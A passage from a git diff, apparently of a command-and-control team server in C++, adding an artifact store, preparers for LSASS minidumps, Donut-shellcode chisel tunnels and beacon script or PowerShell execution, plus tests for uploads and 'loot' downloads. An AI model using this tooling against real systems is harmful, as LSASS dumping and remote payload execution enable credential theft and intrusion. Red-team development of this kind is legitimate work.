EVP_MD_CTX_new(); + if (!context) + return ""; + + bool ok = EVP_DigestInit_ex(context, EVP_sha256(), nullptr) == 1; + std::array buffer = {}; + while (ok && input.good()) + { + input.read(buffer.data(), static_cast(buffer.size())); + const std::streamsize bytesRead = input.gcount(); + if (bytesRead > 0) + ok = EVP_DigestUpdate(context, buffer.data(), static_cast(bytesRead)) == 1; + } + + std::array digest = {}; + unsigned int digestLength = 0; + if (ok) + ok = EVP_DigestFinal_ex(context, digest.data(), &digestLength) == 1; + EVP_MD_CTX_free(context); + + if (!ok) + return ""; + return bytesToHex(digest.data(), digestLength); +} + +bool isPathWithinRoot(const fs::path& path, const fs::path& root) +{ + std::error_code ec; + const fs::path canonicalRoot = fs::weakly_canonical(root, ec); + if (ec) + return false; + + const fs::path canonicalPath = fs::weakly_canonical(path, ec); + if (ec) + return false; + + auto rootIt = canonicalRoot.begin(); + auto pathIt = canonicalPath.begin(); + for (; rootIt != canonicalRoot.end(); ++rootIt, ++pathIt) + { + if (pathIt == canonicalPath.end() || *pathIt != *rootIt) + return false; + } + return true; +} + std::string sanitizeName(std::string value) { for (char& ch : value) @@ -72,6 +124,37 @@ std::string artifactIdFor(const TeamServerGeneratedArtifactRequest& request, con + name + "\n" + sha256); } + +bool writeSidecar( + const fs::path& artifactPath, + const TeamServerGeneratedArtifactRequest& request, + const TeamServerGeneratedArtifactRecord& record, + const std::string& format) +{ + json sidecar; + sidecar["artifact_id"] = record.artifactId; + sidecar["file"] = artifactPath.filename().string(); + sidecar["name"] = record.name; + sidecar["display_name"] = record.displayName; + sidecar["category"] = request.category; + sidecar["scope"] = request.scope; + sidecar["target"] = request.target; + sidecar["platform"] = request.platform; + sidecar["arch"] = request.arch; + sidecar["format"] = format; + sidecar["runtime"] = request.runtime; + sidecar["source"] = request.source; + sidecar["sha256"] = record.sha256; + sidecar["description"] = request.description; + sidecar["tags"] = request.tags; + + std::ofstream sidecarOutput(artifactPath.string() + ".artifact.json", std::ios::binary); + if (!sidecarOutput.good()) + return false; + sidecarOutput << sidecar.dump(2); + sidecarOutput.close(); + return sidecarOutput.good(); +} } // namespace TeamServerGeneratedArtifactStore::TeamServerGeneratedArtifactStore(TeamServerRuntimeConfig runtimeConfig) @@ -116,34 +199,50 @@ TeamServerGeneratedArtifactRecord TeamServerGeneratedArtifactStore::store(const record.sha256 = sha256; record.size = static_cast(request.bytes.size()); - json sidecar; - sidecar["artifact_id"] = record.artifactId; - sidecar["file"] = artifactPath.filename().string(); - sidecar["name"] = record.name; - sidecar["display_name"] = record.displayName; - sidecar["category"] = request.category; - sidecar["scope"] = request.scope; - sidecar["target"] = request.target; - sidecar["platform"] = request.platform; - sidecar["arch"] = request.arch; - sidecar["format"] = request.format; - sidecar["runtime"] = request.runtime; - sidecar["source"] = request.source; - sidecar["sha256"] = record.sha256; - sidecar["description"] = request.description; - sidecar["tags"] = request.tags; - - std::ofstream sidecarOutput(artifactPath.string() + ".artifact.json", std::ios::binary); - if (!sidecarOutput.good()) + if (!writeSidecar(artifactPath, request, record, request.format)) { fs::remove(artifactPath, ec); + fs::remove(artifactPath.string() + ".artifact.json", ec); return {}; } - sidecarOutput << sidecar.dump(2); - sidecarOutput.close(); - if (!sidecarOutput.good()) + + return record; +} + +TeamServerGeneratedArtifactRecord TeamServerGeneratedArtifactStore::registerExistingFile( + const TeamServerGeneratedArtifactRequest& request, + const std::string& filePath) const +{ + TeamServerGeneratedArtifactRecord record; + const fs::path artifactPath = filePath; + std::error_code ec; + if (filePath.empty() || !fs::exists(artifactPath, ec) || !fs::is_regular_file(artifactPath, ec)) + return record; + + const fs::path root = m_runtimeConfig.generatedArtifactsDirectoryPath; + if (!isPathWithinRoot(artifactPath, root)) + return record; + + const std::string sha256 = sha256File(artifactPath); + if (sha256.empty()) + return record; + + std::string displayName = request.nameHint.empty() + ? artifactPath.filename().string() + : sanitizeName(request.nameHint); + const std::string name = artifactPath.filename().string(); + + record.artifactId = artifactIdFor(request, name, sha256); + record.path = artifactPath.string(); + record.name = name; + record.displayName = displayName; + record.sha256 = sha256; + record.size = static_cast(fs::file_size(artifactPath, ec)); + if (ec) + record.size = 0; + + if (!writeSidecar(artifactPath, request, record, request.format)) { - fs::remove(artifactPath, ec); fs::remove(artifactPath.string() + ".artifact.json", ec); return {}; } diff --git a/teamServer/teamServer/TeamServerGeneratedArtifactStore.hpp b/teamServer/teamServer/TeamServerGeneratedArtifactStore.hpp index 05a5902..48d513b 100644 --- a/teamServer/teamServer/TeamServerGeneratedArtifactStore.hpp +++ b/teamServer/teamServer/TeamServerGeneratedArtifactStore.hpp @@ -38,6 +38,9 @@ class TeamServerGeneratedArtifactStore explicit TeamServerGeneratedArtifactStore(TeamServerRuntimeConfig runtimeConfig); TeamServerGeneratedArtifactRecord store(const TeamServerGeneratedArtifactRequest& request) const; + TeamServerGeneratedArtifactRecord registerExistingFile( + const TeamServerGeneratedArtifactRequest& request, + const std::string& filePath) const; private: TeamServerRuntimeConfig m_runtimeConfig; diff --git a/teamServer/teamServer/TeamServerListenerSessionService.cpp b/teamServer/teamServer/TeamServerListenerSessionService.cpp index 2ce23b9..c6d3e85 100644 --- a/teamServer/teamServer/TeamServerListenerSessionService.cpp +++ b/teamServer/teamServer/TeamServerListenerSessionService.cpp @@ -145,6 +145,7 @@ TeamServerListenerSessionService::TeamServerListenerSessionService( std::vector& cmdResponses, std::unordered_map>& sentResponses, std::vector& sentCommands, + std::shared_ptr fileArtifactService, PrepMsgCallback prepMsg) : m_logger(std::move(logger)), m_config(config), @@ -154,6 +155,7 @@ TeamServerListenerSessionService::TeamServerListenerSessionService( m_cmdResponses(cmdResponses), m_sentResponses(sentResponses), m_sentCommands(sentCommands), + m_fileArtifactService(std::move(fileArtifactService)), m_prepMsg(std::move(prepMsg)) { } @@ -927,6 +929,10 @@ int TeamServerListenerSessionService::handleCmdResponse() } } + std::string fileArtifactMessage; + if (m_fileArtifactService) + m_fileArtifactService->handleCommandResult(c2Message, fileArtifactMessage); + std::string ccInstructionString = m_commonCommands.translateCmdToInstruction(instructionCmd); for (int ii = 0; ii < m_commonCommands.getNumberOfCommand(); ii++) { @@ -950,14 +956,18 @@ int TeamServerListenerSessionService::handleCmdResponse() return context.commandId == commandId; }); bool trackedCommand = false; + bool keepCommandContext = false; if (sentCommand != m_sentCommands.end()) { trackedCommand = true; listenerHash = sentCommand->listenerHash; commandLine = sentCommand->commandLine; - if (responseInstruction.empty()) + if (!sentCommand->instruction.empty()) responseInstruction = sentCommand->instruction; - m_sentCommands.erase(sentCommand); + keepCommandContext = m_fileArtifactService + && m_fileArtifactService->shouldKeepCommandContext(c2Message); + if (!keepCommandContext) + m_sentCommands.erase(sentCommand); } if (trackedCommand) @@ -978,7 +988,7 @@ int TeamServerListenerSessionService::handleCmdResponse() } else if (!c2Message.returnvalue().empty()) { - commandResponseTmp.set_output(c2Message.returnvalue()); + commandResponseTmp.set_output(fileArtifactMessage.empty() ? c2Message.returnvalue() : fileArtifactMessage); m_cmdResponses.push_back(commandResponseTmp); } else if (trackedCommand) diff --git a/teamServer/teamServer/TeamServerListenerSessionService.hpp b/teamServer/teamServer/TeamServerListenerSessionService.hpp index cb3503c..004857d 100644 --- a/teamServer/teamServer/TeamServerListenerSessionService.hpp +++ b/teamServer/teamServer/TeamServerListenerSessionService.hpp @@ -13,6 +13,7 @@ #include "TeamServerApi.pb.h" #include "TeamServerCommandTracking.hpp" +#include "TeamServerFileArtifactService.hpp" #include "listener/Listener.hpp" #include "modules/ModuleCmd/CommonCommand.hpp" #include "modules/ModuleCmd/ModuleCmd.hpp" @@ -37,6 +38,7 @@ class TeamServerListenerSessionService std::vector& cmdResponses, std::unordered_map>& sentResponses, std::vector& sentCommands, + std::shared_ptr fileArtifactService, PrepMsgCallback prepMsg); grpc::Status streamListeners(const ListenerEmitter& emit); @@ -64,6 +66,7 @@ class TeamServerListenerSessionService std::vector& m_cmdResponses; std::unordered_map>& m_sentResponses; std::vector& m_sentCommands; + std::shared_ptr m_fileArtifactService; PrepMsgCallback m_prepMsg; struct BeaconModuleRecord diff --git a/teamServer/teamServer/TeamServerMiniDumpCommandPreparer.cpp b/teamServer/teamServer/TeamServerMiniDumpCommandPreparer.cpp new file mode 100644 index 0000000..fe74d09 --- /dev/null +++ b/teamServer/teamServer/TeamServerMiniDumpCommandPreparer.cpp @@ -0,0 +1,106 @@ +#include "TeamServerMiniDumpCommandPreparer.hpp" + +#include +#include +#include + +#include "modules/ModuleCmd/Common.hpp" + +namespace +{ +std::string toLower(std::string value) +{ + std::transform(value.begin(), value.end(), value.begin(), [](unsigned char c) + { + return static_cast(std::tolower(c)); + }); + return value; +} + +std::vector regroup(const std::vector& tokens) +{ + return regroupStrings(tokens); +} + +TeamServerCommandPreparerResult handledError(C2Message& c2Message, const std::string& message) +{ + TeamServerCommandPreparerResult result; + result.handled = true; + result.status = -1; + c2Message.set_returnvalue(message); + return result; +} +} // namespace + +TeamServerMiniDumpCommandPreparer::TeamServerMiniDumpCommandPreparer( + std::shared_ptr logger, + std::shared_ptr fileArtifactService, + std::vector>& moduleCmd) + : m_logger(std::move(logger)), + m_fileArtifactService(std::move(fileArtifactService)), + m_moduleCmd(moduleCmd) +{ +} + +bool TeamServerMiniDumpCommandPreparer::canPrepare(const std::string& instruction) const +{ + return toLower(instruction) == "minidump"; +} + +TeamServerCommandPreparerResult TeamServerMiniDumpCommandPreparer::prepare( + const TeamServerCommandPreparerContext& context, + C2Message& c2Message) const +{ + TeamServerCommandPreparerResult result; + const std::vector tokens = regroup(context.tokens); + if (tokens.size() < 2 || toLower(tokens[1]) != "dump") + return result; + + result.handled = true; + result.status = -1; + if (!context.isWindows) + return handledError(c2Message, "miniDump is Windows-only.\n"); + if (!hasModule("miniDump")) + return handledError(c2Message, "Module miniDump not found.\n"); + if (!m_fileArtifactService) + return handledError(c2Message, "File artifact service is not available.\n"); + if (tokens.size() > 3) + return handledError(c2Message, "Usage: miniDump dump [artifact_name]\n"); + + const std::string nameHint = tokens.size() == 3 ? tokens[2] : "lsass.xored"; + TeamServerGeneratedFileArtifactSpec spec; + spec.remotePath = "lsass.exe"; + spec.nameHint = nameHint; + spec.category = "minidump"; + spec.source = "beacon"; + spec.format = "xored"; + spec.runtime = "file"; + spec.description = "XORed LSASS minidump generated by miniDump."; + spec.tags = {"miniDump", "lsass", "xored"}; + spec.isWindows = true; + spec.arch = context.windowsArch; + spec.writeResultData = true; + + TeamServerPreparedDownloadArtifact artifact = m_fileArtifactService->prepareGeneratedFileArtifact(spec); + if (!artifact.ok) + return handledError(c2Message, artifact.message + "\n"); + + c2Message.set_instruction("miniDump"); + c2Message.set_cmd("0"); + c2Message.set_outputfile(artifact.path); + result.status = 0; + if (m_logger) + m_logger->info("Prepared miniDump artifact path {}", artifact.path); + return result; +} + +bool TeamServerMiniDumpCommandPreparer::hasModule(const std::string& name) const +{ + const std::string lowered = toLower(name); + for (const auto& module : m_moduleCmd) + { + if (module && toLower(module->getName()) == lowered) + return true; + } + return false; +} diff --git a/teamServer/teamServer/TeamServerMiniDumpCommandPreparer.hpp b/teamServer/teamServer/TeamServerMiniDumpCommandPreparer.hpp new file mode 100644 index 0000000..d8a5b09 --- /dev/null +++ b/teamServer/teamServer/TeamServerMiniDumpCommandPreparer.hpp @@ -0,0 +1,31 @@ +#pragma once + +#include +#include +#include + +#include "TeamServerCommandPreparer.hpp" +#include "TeamServerFileArtifactService.hpp" +#include "modules/ModuleCmd/ModuleCmd.hpp" +#include "spdlog/logger.h" + +class TeamServerMiniDumpCommandPreparer final : public TeamServerCommandPreparer +{ +public: + TeamServerMiniDumpCommandPreparer( + std::shared_ptr logger, + std::shared_ptr fileArtifactService, + std::vector>& moduleCmd); + + bool canPrepare(const std::string& instruction) const override; + TeamServerCommandPreparerResult prepare( + const TeamServerCommandPreparerContext& context, + C2Message& c2Message) const override; + +private: + bool hasModule(const std::string& name) const; + + std::shared_ptr m_logger; + std::shared_ptr m_fileArtifactService; + std::vector>& m_moduleCmd; +}; diff --git a/teamServer/teamServer/TeamServerScriptCommandPreparer.cpp b/teamServer/teamServer/TeamServerScriptCommandPreparer.cpp new file mode 100644 index 0000000..7ccf120 --- /dev/null +++ b/teamServer/teamServer/TeamServerScriptCommandPreparer.cpp @@ -0,0 +1,161 @@ +#include "TeamServerScriptCommandPreparer.hpp" + +#include +#include +#include +#include + +#include "modules/ModuleCmd/Common.hpp" + +namespace +{ +std::string toLower(std::string value) +{ + std::transform(value.begin(), value.end(), value.begin(), [](unsigned char c) + { + return static_cast(std::tolower(c)); + }); + return value; +} + +std::vector regroup(const std::vector& tokens) +{ + return regroupStrings(tokens); +} + +std::string joinTailWithSpace(const std::vector& tokens, std::size_t start) +{ + std::ostringstream output; + for (std::size_t index = start; index < tokens.size(); ++index) + output << tokens[index] << ' '; + return output.str(); +} + +TeamServerCommandPreparerResult handledError(C2Message& c2Message, const std::string& message) +{ + TeamServerCommandPreparerResult result; + result.handled = true; + result.status = -1; + c2Message.set_returnvalue(message); + return result; +} +} // namespace + +TeamServerScriptCommandPreparer::TeamServerScriptCommandPreparer( + std::shared_ptr logger, + std::shared_ptr fileArtifactService, + std::vector>& moduleCmd) + : m_logger(std::move(logger)), + m_fileArtifactService(std::move(fileArtifactService)), + m_moduleCmd(moduleCmd) +{ +} + +bool TeamServerScriptCommandPreparer::canPrepare(const std::string& instruction) const +{ + const std::string lowered = toLower(instruction); + return lowered == "script" || lowered == "powershell"; +} + +TeamServerCommandPreparerResult TeamServerScriptCommandPreparer::prepare( + const TeamServerCommandPreparerContext& context, + C2Message& c2Message) const +{ + const std::string instruction = toLower(context.tokens.empty() ? "" : context.tokens[0]); + if (instruction == "script") + return prepareScript(context, c2Message); + return preparePowershellScript(context, c2Message); +} + +bool TeamServerScriptCommandPreparer::hasModule(const std::string& name) const +{ + const std::string lowered = toLower(name); + for (const auto& module : m_moduleCmd) + { + if (module && toLower(module->getName()) == lowered) + return true; + } + return false; +} + +TeamServerCommandPreparerResult TeamServerScriptCommandPreparer::prepareScript( + const TeamServerCommandPreparerContext& context, + C2Message& c2Message) const +{ + TeamServerCommandPreparerResult result; + result.handled = true; + result.status = -1; + + if (!hasModule("script")) + return handledError(c2Message, "Module script not found.\n"); + if (!m_fileArtifactService) + return handledError(c2Message, "File artifact service is not available.\n"); + + const std::vector tokens = regroup(context.tokens); + if (tokens.size() != 2) + return handledError(c2Message, "Usage: script \n"); + + TeamServerPreparedInputArtifact artifact = m_fileArtifactService->resolveScriptArtifact( + tokens[1], + context.isWindows, + context.windowsArch); + if (!artifact.ok) + return handledError(c2Message, artifact.message + "\n"); + + c2Message.set_instruction("script"); + c2Message.set_inputfile(artifact.artifact.name); + c2Message.set_data(artifact.bytes); + result.status = 0; + if (m_logger) + m_logger->info("Prepared script artifact {}", artifact.artifact.name); + return result; +} + +TeamServerCommandPreparerResult TeamServerScriptCommandPreparer::preparePowershellScript( + const TeamServerCommandPreparerContext& context, + C2Message& c2Message) const +{ + TeamServerCommandPreparerResult result; + const std::vector tokens = regroup(context.tokens); + if (tokens.size() < 2 || (tokens[1] != "-i" && tokens[1] != "-s")) + return result; + + result.handled = true; + result.status = -1; + if (!hasModule("powershell")) + return handledError(c2Message, "Module powershell not found.\n"); + if (!m_fileArtifactService) + return handledError(c2Message, "File artifact service is not available.\n"); + if (tokens.size() != 3) + return handledError(c2Message, "Usage: powershell -i|-s \n"); + + TeamServerPreparedInputArtifact artifact = m_fileArtifactService->resolveScriptArtifact( + tokens[2], + context.isWindows, + context.windowsArch); + if (!artifact.ok) + return handledError(c2Message, artifact.message + "\n"); + + std::string payload; + if (tokens[1] == "-i") + { + payload = "New-Module -ScriptBlock {\n"; + payload += artifact.bytes; + payload += "\nExport-ModuleMember -Function * -Alias *;};"; + } + else + { + payload = "Invoke-Command -ScriptBlock {\n"; + payload += artifact.bytes; + payload += "};"; + } + + c2Message.set_instruction("powershell"); + c2Message.set_inputfile(artifact.artifact.name); + c2Message.set_cmd(joinTailWithSpace(tokens, 1)); + c2Message.set_data(payload.data(), payload.size()); + result.status = 0; + if (m_logger) + m_logger->info("Prepared powershell script artifact {}", artifact.artifact.name); + return result; +} diff --git a/teamServer/teamServer/TeamServerScriptCommandPreparer.hpp b/teamServer/teamServer/TeamServerScriptCommandPreparer.hpp new file mode 100644 index 0000000..1336fa5 --- /dev/null +++ b/teamServer/teamServer/TeamServerScriptCommandPreparer.hpp @@ -0,0 +1,37 @@ +#pragma once + +#include +#include +#include + +#include "TeamServerCommandPreparer.hpp" +#include "TeamServerFileArtifactService.hpp" +#include "modules/ModuleCmd/ModuleCmd.hpp" +#include "spdlog/logger.h" + +class TeamServerScriptCommandPreparer final : public TeamServerCommandPreparer +{ +public: + TeamServerScriptCommandPreparer( + std::shared_ptr logger, + std::shared_ptr fileArtifactService, + std::vector>& moduleCmd); + + bool canPrepare(const std::string& instruction) const override; + TeamServerCommandPreparerResult prepare( + const TeamServerCommandPreparerContext& context, + C2Message& c2Message) const override; + +private: + bool hasModule(const std::string& name) const; + TeamServerCommandPreparerResult prepareScript( + const TeamServerCommandPreparerContext& context, + C2Message& c2Message) const; + TeamServerCommandPreparerResult preparePowershellScript( + const TeamServerCommandPreparerContext& context, + C2Message& c2Message) const; + + std::shared_ptr m_logger; + std::shared_ptr m_fileArtifactService; + std::vector>& m_moduleCmd; +}; diff --git a/teamServer/teamServer/TeamServerShellcodeService.hpp b/teamServer/teamServer/TeamServerShellcodeService.hpp index 85b0329..0a74447 100644 --- a/teamServer/teamServer/TeamServerShellcodeService.hpp +++ b/teamServer/teamServer/TeamServerShellcodeService.hpp @@ -30,8 +30,9 @@ class TeamServerShellcodeService { public: explicit TeamServerShellcodeService(std::shared_ptr logger); + virtual ~TeamServerShellcodeService() = default; - TeamServerShellcodeResult generate(const TeamServerShellcodeRequest& request) const; + virtual TeamServerShellcodeResult generate(const TeamServerShellcodeRequest& request) const; private: TeamServerShellcodeResult generateRaw(const TeamServerShellcodeRequest& request) const; diff --git a/teamServer/tests/TeamServerCommandPreparationServiceTests.cpp b/teamServer/tests/TeamServerCommandPreparationServiceTests.cpp index fd37b66..1233aca 100644 --- a/teamServer/tests/TeamServerCommandPreparationServiceTests.cpp +++ b/teamServer/tests/TeamServerCommandPreparationServiceTests.cpp @@ -1,15 +1,22 @@ #include #include #include +#include #include +#include #include #include #include "TeamServerAssemblyExecCommandPreparer.hpp" #include "TeamServerArtifactCatalog.hpp" +#include "TeamServerChiselCommandPreparer.hpp" #include "TeamServerCommandPreparationService.hpp" +#include "TeamServerFileArtifactService.hpp" +#include "TeamServerFileTransferCommandPreparer.hpp" #include "TeamServerGeneratedArtifactStore.hpp" #include "TeamServerInjectCommandPreparer.hpp" +#include "TeamServerMiniDumpCommandPreparer.hpp" +#include "TeamServerScriptCommandPreparer.hpp" #include "TeamServerShellcodeService.hpp" namespace fs = std::filesystem; @@ -124,13 +131,43 @@ std::shared_ptr makeLogger() return logger; } +class FakeShellcodeService final : public TeamServerShellcodeService +{ +public: + FakeShellcodeService() + : TeamServerShellcodeService(makeLogger()) + { + nextResult.ok = true; + nextResult.bytes = "FAKE-SHELLCODE"; + nextResult.generator = "donut"; + nextResult.sourceType = "dotnet_exe"; + nextResult.sha256 = std::string(64, 'f'); + } + + TeamServerShellcodeResult generate(const TeamServerShellcodeRequest& request) const override + { + lastRequest = request; + return nextResult; + } + + mutable TeamServerShellcodeRequest lastRequest; + TeamServerShellcodeResult nextResult; +}; + void writeFile(const fs::path& path, const std::string& content) { - fs::create_directories(path.parent_path()); + if (!path.parent_path().empty()) + fs::create_directories(path.parent_path()); std::ofstream output(path, std::ios::binary); output << content; } +void require(bool condition, const char* message) +{ + if (!condition) + throw std::runtime_error(message); +} + TeamServerRuntimeConfig makeRuntimeConfig(const fs::path& root) { TeamServerRuntimeConfig runtimeConfig; @@ -141,6 +178,7 @@ TeamServerRuntimeConfig makeRuntimeConfig(const fs::path& root) runtimeConfig.windowsBeaconsDirectoryPath = (root / "WindowsBeacons").string() + "/"; runtimeConfig.toolsDirectoryPath = (root / "Tools").string() + "/"; runtimeConfig.scriptsDirectoryPath = (root / "Scripts").string() + "/"; + runtimeConfig.uploadedArtifactsDirectoryPath = (root / "UploadedArtifacts").string() + "/"; runtimeConfig.generatedArtifactsDirectoryPath = (root / "GeneratedArtifacts").string() + "/"; return runtimeConfig; } @@ -433,6 +471,274 @@ void testPrepareInjectDonutReportsMissingSource() assert(service.prepareMessage("inject --donut-exe missing.exe --pid 4321 -- arg1", message, true, "x64") == -1); assert(message.returnvalue().find("Couldn't open Donut source file.") != std::string::npos); } + +void testPrepareUploadUsesUploadedArtifact() +{ + ScopedPath tempRoot(makeTempDirectory("upload-preparer")); + TeamServerRuntimeConfig runtimeConfig = makeRuntimeConfig(tempRoot.path()); + writeFile(fs::path(runtimeConfig.uploadedArtifactsDirectoryPath) / "Any" / "any" / "operator.bin", "UPLOAD-BYTES"); + + CommonCommands commonCommands; + std::vector> modules; + modules.push_back(std::make_unique("upload")); + + auto artifactStore = std::make_shared(runtimeConfig); + auto fileArtifactService = std::make_shared( + makeLogger(), + runtimeConfig, + artifactStore); + std::vector> preparers; + preparers.push_back(std::make_unique( + makeLogger(), + fileArtifactService, + modules)); + + TeamServerCommandPreparationService service( + makeLogger(), + runtimeConfig, + commonCommands, + modules, + std::move(preparers)); + + C2Message message; + require(service.prepareMessage("upload operator.bin C:\\Temp\\operator.bin", message, true, "amd64") == 0, "upload prepare failed"); + require(message.instruction() == "upload", "upload instruction mismatch"); + require(message.inputfile() == "operator.bin", "upload input artifact mismatch"); + require(message.outputfile() == "C:\\Temp\\operator.bin", "upload remote path mismatch"); + require(message.data() == "UPLOAD-BYTES", "upload bytes mismatch"); + + C2Message missingMessage; + require(service.prepareMessage("upload missing.bin C:\\Temp\\missing.bin", missingMessage, true, "amd64") == -1, "missing upload artifact should fail"); + require(missingMessage.returnvalue().find("Upload artifact not found") != std::string::npos, "missing upload error mismatch"); +} + +void testPrepareDownloadCreatesGeneratedArtifactSlot() +{ + ScopedPath tempRoot(makeTempDirectory("download-preparer")); + TeamServerRuntimeConfig runtimeConfig = makeRuntimeConfig(tempRoot.path()); + + CommonCommands commonCommands; + std::vector> modules; + modules.push_back(std::make_unique("download")); + + auto artifactStore = std::make_shared(runtimeConfig); + auto fileArtifactService = std::make_shared( + makeLogger(), + runtimeConfig, + artifactStore); + std::vector> preparers; + preparers.push_back(std::make_unique( + makeLogger(), + fileArtifactService, + modules)); + + TeamServerCommandPreparationService service( + makeLogger(), + runtimeConfig, + commonCommands, + modules, + std::move(preparers)); + + C2Message message; + require(service.prepareMessage("download /tmp/loot.txt loot.txt", message, false, "amd64") == 0, "download prepare failed"); + require(message.instruction() == "download", "download instruction mismatch"); + require(message.inputfile() == "/tmp/loot.txt", "download input path mismatch"); + require(message.outputfile().find("GeneratedArtifacts/download/beacon") != std::string::npos, "download output path mismatch"); + require(fs::exists(message.outputfile() + ".artifact.pending.json"), "download pending metadata missing"); + + writeFile(message.outputfile(), "LOOT"); + C2Message result; + result.set_outputfile(message.outputfile()); + result.set_returnvalue("Success"); + std::string artifactMessage; + require(fileArtifactService->handleCommandResult(result, artifactMessage), "download result was not handled"); + require(artifactMessage.find("Downloaded artifact stored:") != std::string::npos, "download artifact message mismatch"); + require(!fs::exists(message.outputfile() + ".artifact.pending.json"), "download pending metadata was not removed"); + require(fs::exists(message.outputfile() + ".artifact.json"), "download artifact metadata missing"); + + TeamServerArtifactCatalog catalog(runtimeConfig); + TeamServerArtifactQuery query; + query.category = "download"; + query.scope = "generated"; + query.target = "teamserver"; + query.runtime = "file"; + const std::vector artifacts = catalog.listArtifacts(query); + require(artifacts.size() == 1, "download artifact catalog count mismatch"); + require(artifacts[0].source == "beacon", "download artifact source mismatch"); + require(artifacts[0].platform == "linux", "download artifact platform mismatch"); + require(artifacts[0].arch == "x64", "download artifact arch mismatch"); + require(artifacts[0].displayName == "loot.txt", "download artifact display name mismatch"); +} + +void testPrepareChiselUsesFixedToolAndShellcodeService() +{ + ScopedPath tempRoot(makeTempDirectory("chisel-preparer")); + TeamServerRuntimeConfig runtimeConfig = makeRuntimeConfig(tempRoot.path()); + const fs::path chiselPath = fs::path(runtimeConfig.toolsDirectoryPath) / "Windows" / "x64" / "chisel.exe"; + writeFile(chiselPath, "CHISEL-EXE"); + + CommonCommands commonCommands; + std::vector> modules; + modules.push_back(std::make_unique("chisel")); + + auto shellcodeService = std::make_shared(); + shellcodeService->nextResult.bytes = "CHISEL-SHELLCODE"; + auto artifactStore = std::make_shared(runtimeConfig); + std::vector> preparers; + preparers.push_back(std::make_unique( + makeLogger(), + runtimeConfig, + shellcodeService, + artifactStore, + modules)); + + TeamServerCommandPreparationService service( + makeLogger(), + runtimeConfig, + commonCommands, + modules, + std::move(preparers)); + + C2Message message; + require(service.prepareMessage("chisel client 127.0.0.1:9001 R:socks", message, true, "amd64") == 0, "chisel prepare failed"); + require(message.instruction() == "chisel", "chisel instruction mismatch"); + require(message.cmd() == "client 127.0.0.1:9001 R:socks", "chisel display command mismatch"); + require(message.data() == "CHISEL-SHELLCODE", "chisel shellcode payload mismatch"); + require(message.inputfile().find("GeneratedArtifacts") != std::string::npos, "chisel generated artifact path mismatch"); + require(shellcodeService->lastRequest.generator == "donut", "chisel generator mismatch"); + require(shellcodeService->lastRequest.sourcePath == chiselPath.string(), "chisel fixed source path mismatch"); + require(shellcodeService->lastRequest.arguments == "client 127.0.0.1:9001 R:socks", "chisel arguments mismatch"); + + TeamServerArtifactCatalog catalog(runtimeConfig); + TeamServerArtifactQuery query; + query.category = "payload"; + query.scope = "generated"; + query.runtime = "shellcode"; + const std::vector artifacts = catalog.listArtifacts(query); + require(artifacts.size() == 1, "chisel generated shellcode catalog count mismatch"); + require(artifacts[0].source == "donut", "chisel generated source mismatch"); + require(artifacts[0].arch == "x64", "chisel generated arch mismatch"); +} + +void testPrepareScriptAndPowershellUseScriptArtifacts() +{ + ScopedPath tempRoot(makeTempDirectory("script-preparer")); + TeamServerRuntimeConfig runtimeConfig = makeRuntimeConfig(tempRoot.path()); + writeFile(fs::path(runtimeConfig.scriptsDirectoryPath) / "Linux" / "collect.sh", "id\n"); + writeFile(fs::path(runtimeConfig.scriptsDirectoryPath) / "Windows" / "collect.ps1", "Get-Process\n"); + + CommonCommands commonCommands; + std::vector> modules; + modules.push_back(std::make_unique("script")); + modules.push_back(std::make_unique("powershell")); + + auto artifactStore = std::make_shared(runtimeConfig); + auto fileArtifactService = std::make_shared( + makeLogger(), + runtimeConfig, + artifactStore); + std::vector> preparers; + preparers.push_back(std::make_unique( + makeLogger(), + fileArtifactService, + modules)); + + TeamServerCommandPreparationService service( + makeLogger(), + runtimeConfig, + commonCommands, + modules, + std::move(preparers)); + + C2Message scriptMessage; + require(service.prepareMessage("script collect.sh", scriptMessage, false, "amd64") == 0, "script prepare failed"); + require(scriptMessage.instruction() == "script", "script instruction mismatch"); + require(scriptMessage.inputfile() == "collect.sh", "script input artifact mismatch"); + require(scriptMessage.data() == "id\n", "script bytes mismatch"); + + C2Message powershellMessage; + require(service.prepareMessage("powershell -s collect.ps1", powershellMessage, true, "x64") == 0, "powershell script prepare failed"); + require(powershellMessage.instruction() == "powershell", "powershell instruction mismatch"); + require(powershellMessage.inputfile() == "collect.ps1", "powershell input artifact mismatch"); + require(powershellMessage.cmd() == "-s collect.ps1 ", "powershell cmd mismatch"); + require(powershellMessage.data().find("Invoke-Command -ScriptBlock") != std::string::npos, "powershell wrapper missing"); + require(powershellMessage.data().find("Get-Process") != std::string::npos, "powershell script content missing"); + + C2Message inlineMessage; + require(service.prepareMessage("powershell whoami", inlineMessage, true, "x86") == 42, "inline powershell should fall through to module init"); + require(inlineMessage.instruction() == "FAKE", "inline powershell fallback mismatch"); +} + +void testPrepareMiniDumpCreatesGeneratedArtifactSlotAndRegistersChunks() +{ + ScopedPath tempRoot(makeTempDirectory("minidump-preparer")); + TeamServerRuntimeConfig runtimeConfig = makeRuntimeConfig(tempRoot.path()); + + CommonCommands commonCommands; + std::vector> modules; + modules.push_back(std::make_unique("miniDump")); + + auto artifactStore = std::make_shared(runtimeConfig); + auto fileArtifactService = std::make_shared( + makeLogger(), + runtimeConfig, + artifactStore); + std::vector> preparers; + preparers.push_back(std::make_unique( + makeLogger(), + fileArtifactService, + modules)); + + TeamServerCommandPreparationService service( + makeLogger(), + runtimeConfig, + commonCommands, + modules, + std::move(preparers)); + + C2Message message; + require(service.prepareMessage("miniDump dump lsass.xored", message, true, "amd64") == 0, "miniDump prepare failed"); + require(message.instruction() == "miniDump", "miniDump instruction mismatch"); + require(message.cmd() == "0", "miniDump command mismatch"); + require(message.outputfile().find("GeneratedArtifacts/minidump/beacon") != std::string::npos, "miniDump output path mismatch"); + require(fs::exists(message.outputfile() + ".artifact.pending.json"), "miniDump pending metadata missing"); + + C2Message firstChunk; + firstChunk.set_outputfile(message.outputfile()); + firstChunk.set_args("0"); + firstChunk.set_data("AA"); + firstChunk.set_returnvalue("2/4"); + std::string artifactMessage; + require(fileArtifactService->handleCommandResult(firstChunk, artifactMessage), "miniDump first chunk was not handled"); + require(fileArtifactService->shouldKeepCommandContext(firstChunk), "miniDump first chunk should keep command context"); + require(!fs::exists(message.outputfile() + ".artifact.json"), "miniDump should not register before success"); + + C2Message finalChunk; + finalChunk.set_outputfile(message.outputfile()); + finalChunk.set_args("1"); + finalChunk.set_data("BB"); + finalChunk.set_returnvalue("Success"); + require(fileArtifactService->handleCommandResult(finalChunk, artifactMessage), "miniDump final chunk was not handled"); + require(artifactMessage.find("Generated artifact stored:") != std::string::npos, 